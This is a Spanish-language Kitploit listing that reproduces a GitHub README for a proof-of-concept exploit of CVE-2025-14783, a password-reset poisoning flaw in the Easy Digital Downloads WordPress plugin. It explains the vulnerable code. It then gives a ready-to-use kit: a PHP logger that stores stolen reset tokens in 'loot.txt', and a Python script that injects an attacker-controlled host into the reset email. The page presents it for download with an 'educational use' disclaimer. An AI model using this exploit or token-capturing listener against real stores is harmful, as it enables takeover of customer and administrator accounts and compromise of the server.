Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-14783-POC — 🧨 CVE-2025-14783: Prueba de concepto de Toma de Control de Cuentas de Easy Digital Downloads | Kitploit
Herramientas/GitHubGitHub/zeroethical/cve-2025-14783-poc
Ataques de ContraseñasAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPhishingPapers e InvestigaciónAprendizaje y Educación
GitHubzeroethical/cve-2025-14783-poc

CVE-2025-14783-POC

🧨 CVE-2025-14783: Prueba de concepto de Toma de Control de Cuentas de Easy Digital Downloads

Ver Repositorio
2116hace 9 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir


🧨 CVE-2025-14783: Easy Digital Downloads Account Takeover PoC


Author Severity Vulnerability Language

"La confianza es el fallo de seguridad más explotable."


💀 Descripción

Este repositorio contiene una Prueba de Concepto (PoC) funcional para CVE-2025-14783, una vulnerabilidad crítica de Password Reset Poisoning (Envenenamiento de Restablecimiento de Contraseña) en el plugin Easy Digital Downloads (EDD) para WordPress (versiones <= 3.6.2).

Debido a una falta de validación en el parámetro edd_redirect durante el proceso de solicitud de restablecimiento de contraseña, un atacante remoto no autenticado puede inyectar un dominio malicioso. Esto provoca que el correo electrónico legítimo enviado por la tienda contenga un enlace de restablecimiento que apunta al servidor del atacante, filtrando el token de acceso (key) y permitiendo el Account Takeover (ATO) total, incluso de cuentas de administrador.


🔍 Análisis Técnico

El fallo reside en la función que construye la URL de restablecimiento dentro del correo electrónico. El código vulnerable utiliza esc_url_raw() para "sanitizar" la entrada, pero no valida el host de destino.

Fragmento Vulnerable

// El desarrollador confió en que esc_url_raw era suficiente seguridad... error fatal.
$message = str_replace(
    '{password_reset_link}',
    add_query_arg(
        array(
            'edd_action' => 'password_reset_requested',
            'key'        => $key,
            'login'      => rawurlencode( $user_login ),
        ),
        esc_url_raw( $_POST['edd_redirect'] ) // <--- PUNTO DE INYECCIÓN
    ),
    $message
);

Al controlar $_POST['edd_redirect'], controlamos la base de la URL generada.


🛠️ Instalación y Uso

Requisitos

  • Python 3.x
  • requests lib (pip install requests)
  • Un servidor web bajo tu control (para capturar los tokens).

1. Configurar el Listener (Servidor del Atacante)

Sube el siguiente script PHP (logger.php) a tu servidor malicioso para interceptar los tokens de las víctimas.

<?php
// logger.php - Captura el token y el usuario
$key = $_GET['key'] ?? '';
$login = $_GET['login'] ?? '';
$ip = $_SERVER['REMOTE_ADDR'];
$date = date('Y-m-d H:i:s');

if ($key && $login) {
    $log = "[$date] TARGET: $login | TOKEN: $key | IP: $ip" . PHP_EOL;
    file_put_contents('loot.txt', $log, FILE_APPEND);
    echo "System maintenance. Please try again later."; // Ingeniería social básica
}
?>

2. Ejecutar el Exploit

Edita el script exploit.py con tus objetivos y ejecútalo.

python3 exploit.py

Código del Exploit (exploit.py)

import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# CONFIGURACIÓN
TARGET_URL = "http://vulnerable-shop.com/" # URL raíz de la tienda
VICTIM_EMAIL = "[email protected]"
ATTACKER_HOST = "http://tu-servidor-malicioso.com/logger.php" 

def poison_reset_link():
    print(f"[*] Objetivo: {TARGET_URL}")
    print(f"[*] Víctima: {VICTIM_EMAIL}")
    print(f"[*] Envenenando enlace con: {ATTACKER_HOST}")

    # Payload para inyectar la redirección
    data = {
        'edd_action': 'user_send_password_reset',
        'user_email': VICTIM_EMAIL,
        'edd_redirect': ATTACKER_HOST 
    }

    try:
        # Enviamos la petición al endpoint principal (o donde EDD escuche el POST)
        r = requests.post(TARGET_URL, data=data, verify=False, timeout=10)
        
        if r.status_code == 200:
            print("[+] ¡Éxito! Correo envenenado enviado.")
            print("[*] Ahora espera a que la víctima haga clic en el enlace del correo.")
            print("[*] Revisa 'loot.txt' en tu servidor para obtener el token.")
        else:
            print(f"[-] Fallo. Código de estado: {r.status_code}")
            
    except Exception as e:
        print(f"[!] Error: {e}")

if __name__ == "__main__":
    poison_reset_link()

📊 Impacto

ConfidencialidadIntegridadDisponibilidad
ALTA 🟥ALTA 🟥BAJA 🟩

Un atacante exitoso puede:

  1. Interceptar el token de restablecimiento de contraseña.
  2. Cambiar la contraseña de la víctima (incluso Administradores).
  3. Acceder al panel de administración de WordPress.
  4. Subir plugins maliciosos (RCE) y comprometer todo el servidor.

⚠️ Disclaimer

Este software se proporciona ÚNICAMENTE con fines educativos y de investigación de seguridad.
El autor (ZeroEthical) no se hace responsable del uso indebido de esta información.
Atacar objetivos sin consentimiento previo por escrito es ilegal y puede resultar en acciones legales severas.
Úsalo bajo tu propio riesgo en entornos controlados.

Powered by ZeroEthical
"We don't fix vulnerabilities, we demonstrate them."

Descargar herramienta